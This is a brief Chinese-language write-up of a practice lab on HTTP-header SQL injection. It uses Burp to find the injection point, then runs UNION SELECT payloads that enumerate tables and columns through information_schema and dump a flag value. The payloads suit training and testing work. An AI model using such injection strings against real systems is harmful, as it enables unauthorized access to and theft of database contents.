SQL注入漏洞测试(HTTP头注入)——操作记录

burp抓包判断注入位置，回显正常

有报错，存在注入点

确认列数

确认返回位置

查询当前数据库以及数据库版本

返回库名：pentesterlab

union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())

表名:comment,flag,goods,user

union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')

列名:id,flag

union select 1,2,3,(select group_concat(flag) from flag)

数据:flag is mozhec8397a

获得key

技术重点：熟练使用burp、善于使用闭合。